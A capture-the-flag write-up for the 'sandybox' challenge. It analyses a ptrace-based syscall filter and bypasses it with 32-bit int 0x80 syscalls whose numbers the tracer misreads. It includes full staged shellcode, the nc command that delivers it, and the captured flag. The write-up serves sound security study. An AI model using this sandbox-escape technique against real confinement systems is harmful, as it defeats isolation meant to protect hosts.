Challenge
Having had enough with animals, crossing, and those pesky racoons, you go back out into the strip and look for something else to suit your fancy. At the end of the line, you see a rather disappointing one. It doesn’t even stretch up to your knees. The wood around the edges is painted nicely, but the interior looks like pure sand. There are a couple of kids fooling around within the interior. They’re filling up buckets, making castles, dumping sand on each others’ heads. It looks like they’re having a grand old time.
You call out to them, “Hey! Are you guys having fun?”
They kids don’t respond to you, but freeze at your suggestion. Slowly, they turn to face you, their eyes wide. You walk forward, concerned. As you move closer, the kids start sinking into the sand. You get even more concerned, and start running towards the sandy box. How could someone put quicksand into a sandbox? You look around, frantically, if there’s anything you could throw them. Nobody seems to be paying attention to you, and you don’t have anything suitable available.
So, you decide to dive into the sandbox. You remember that keeping your body flat, as if you were floating on water, can help you not sink into quicksand. As you pass the edge of the box, the kids vanish. The last glimpse of them before you tumble, falling, shows you a wicked smile on one of their faces. You land face-down in a heap. You spit out a huge mouthful of sand, tasting the grit on your teeth. “Bleh! Ptoowie!”
Looking around your new surroundings, you’re in a tiny space with sand all around. You try to shake open your HUD, but it doesn’t work. With not much else you can do, you start digging your way out.
The sandybox is accessible at
nc sandybox.pwni.ng 1337
Main Logic
Looking at the binary reveals that the sandybox is a ptrace
based sandbox which filters syscalls of the sandboxed program.
Forking happens in the main
method:
pid_t pid = fork();
if((pid & 0x80000000) != 0) {
const char* error = strerror(errno);
dprintf(1, "fork fail %s\n", error);
return 1;
}
if(!pid) {
prctl(1, 9);
if(getppid() != 1) {
if(ptrace(PTRACE_TRACEME, 0, 0, 0)) {
const char* error = strerror(errno);
dprintf(1, "child traceme %s\n", error);
_exit(1);
}
pid_t self = getpid();
kill(self, SIGSTOP);
execute();
_exit(0);
}
dprintf(1, "child is orphaned\n");
_exit(1);
}
execute()
allocates a page of memory with RWX permissions, reads 10 bytes of program code into it and calls it as a function afterwards:
int execute()
{
char *shellcode;
char *p;
char *end;
syscall(SYS_alarm, 20);
shellcode = (char *)mmap(NULL, 10, PROT_READ|PROT_WRITE|PROT_EXEC, \
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
p = shellcode;
dprintf(1, "> ");
do {
end = p;
if(read(0, p, 1) != 1)
_exit(0);
p++;
} while(p != shellcode + 10);
((void (*)(int, char *))shellcode)(0, end);
return 0;
}
There is something interesting though: the 10 bytes of memory are turned into a 4096 bytes large page, and the arguments passed to the function are exactly the arguments necessary for a read
syscall.
The first part of the shellcode therefore reads more shellcode into the rest of the page:
0: ff c8 dec eax ; SYS_read
2: 48 c1 e2 08 shl rdx,0x8 ; 256 bytes
6: 0f 05 syscall ; read
8: 90 nop ; pad to 10 bytes
9: 90 nop
When the read loop terminates, rax
is 1, but SYS_read
is 0, therefore we decrement it. rdx
still has the value 1, therefore shifting it left by 8 means we want to read 256 bytes of data. We have to pad the shellcode with nops such that it is 10 bytes long. As already mentioned, rsi
already points to the byte after the shellcode and rdi
has the value 0, which means stdin
.
Combining this into a shell command, we can now run arbitrary shellcode:
(printf "\xff\xc8\x48\xc1\xe2\x08\x0f\x05\x90\x90"; cat shellcode.bin) | nc sandybox.pwni.ng 1337
The Syscall Filter
Since this challenge is supposed to be a sandbox, there is a syscall filter implemented, which looks like this:
in main
:
ptrace(PTRACE_SYSCALL, pid);
ptrace(PTRACE_GETREGS, pid, 0, ®s);
if(is_invalid_syscall(pid, ®s)) {
// deny, replace by write(1, "get clapped sonn\n", 17)
} else {
// allow
}
ptrace(PTRACE_SYSCALL, pid);
The is_invalid_syscall
function looks like this:
bool is_invalid_syscall(pid_t pid, struct user_regs_struct *regs)
{
unsigned long id;
unsigned long name;
long v1;
long v2;
char fname[17];
switch(regs->orig_rax) {
case SYS_read:
case SYS_write:
case SYS_close:
case SYS_fstat:
case SYS_exit:
case SYS_exit_group:
case SYS_getpid:
case SYS_lseek:
return 0;
case SYS_alarm:
return regs->rdi - 1 > 19;
case SYS_mmap:
case SYS_mprotect:
case SYS_munmap:
return regs->rsi > 0x1000;
case SYS_open:
if(!regs->rsi) {
name = regs->rdi;
memset(fname, 0, sizeof(fname));
v1 = ptrace(PTRACE_PEEKDATA, pid, name, 0);
v2 = ptrace(PTRACE_PEEKDATA, pid, regs->rdi + 8, 0);
if(v1 != -1 && v2 != -1) {
*(long *)fname = v1;
*(long *)&fname[8] = v2;
if(strlen(fname) <= 15 && !strstr(fname, "flag") && !strstr(fname, "proc"))
return strstr(fname, "sys") != 0;
}
}
return 1;
default:
return 1;
}
}
This filter obviously allows read
and write
syscalls, but it does not allow opening the flag
file.
Syscalls on x86_64
Syscalls on Linux/AMD64 are weird. There are multiple different ways how to invoke syscalls, and most people only think about one of them. The most obvious one is the syscall
instruction. But it is also possible to use the old int 0x80
instruction to invoke 32bit syscalls. Those 32bit syscalls are reported as syscall in the tracer, but if the tracer only checks registers but doesn’t check the current instruction it will be confused. Most importantly, the 32bit syscall numbers and the 64bit syscall numbers are different. What looks like a lseek
syscall in 64bit mode is in fact open
in 32bit mode. To bypass the open
check, all we have to do is open
our flag
file using a 32bit open
syscall. Of course since it is a 32bit syscall, it only accepts memory below 4GB, but since we can call mmap
, we can just map a page with MAP_32BIT
.
Note: even strace
is confused by this. It can easily be checked by running a program like this:
.globl _start
.text
_start: mov $1, %eax
mov $42, %ebx
int $0x80
Running this program under strace
shows a write
syscall (SYS_write
is 1 in 64bit mode) instead of exit
:
% strace ./sys32
execve("./sys32", ["./sys32"], 0x7ffcb8da1bf0 /* 41 vars */) = 0
write(0, NULL, 0) = ?
+++ exited with 42 +++
Shellcode Part 2
The shellcode (it’s the code for the shellcode.bin
for our previous command) for reading the flag can be implemented like this:
0: b8 09 00 00 00 mov eax,0x9 ; SYS_mmap
5: 31 ff xor edi,edi ; NULL
7: be 00 10 00 00 mov esi,0x1000 ; sz=0x1000
c: ba 03 00 00 00 mov edx,0x3 ; prot=RWX
11: 49 c7 c2 62 00 00 00 mov r10,0x62 ; PRIVATE|ANON|32BIT
18: 4d 31 c0 xor r8,r8 ; fd=0
1b: 4d 31 c9 xor r9,r9 ; off=0
1e: 0f 05 syscall ; mmap
20: 41 89 c4 mov r12d,eax ; save ptr in r12
23: 48 c7 c2 66 6c 61 67 mov rdx,0x67616c66
2a: 48 89 10 mov QWORD PTR [rax],rdx ; write "flag"
2d: 89 c3 mov ebx,eax ; "flag"
2f: 31 c9 xor ecx,ecx ; flags=0
31: b8 05 00 00 00 mov eax,0x5 ; SYS_open
36: cd 80 int 0x80 ; open
38: 31 ff xor edi,edi
3a: 97 xchg edi,eax ; edi=fd
3b: 4c 89 e6 mov rsi,r12 ; rsi=memory
3e: ba 00 01 00 00 mov edx,0x100 ; 256 bytes
43: 0f 05 syscall ; read
45: 4c 89 e6 mov rsi,r12 ; rsi=memory
48: 48 c7 c2 00 01 00 00 mov rdx,0x100 ; 256 bytes
4f: bf 01 00 00 00 mov edi,0x1 ; stdout
54: b8 01 00 00 00 mov eax,0x1 ; SYS_write
59: 0f 05 syscall ; write
5b: b8 3c 00 00 00 mov eax,0x3c ; SYS_exit
60: 0f 05 syscall ; exit
Running this shellcode on the server gives us the flag:
o hai
> PCTF{bonus_round:_did_you_spot_the_other_2_solutions?}
so long, sucker. 0x100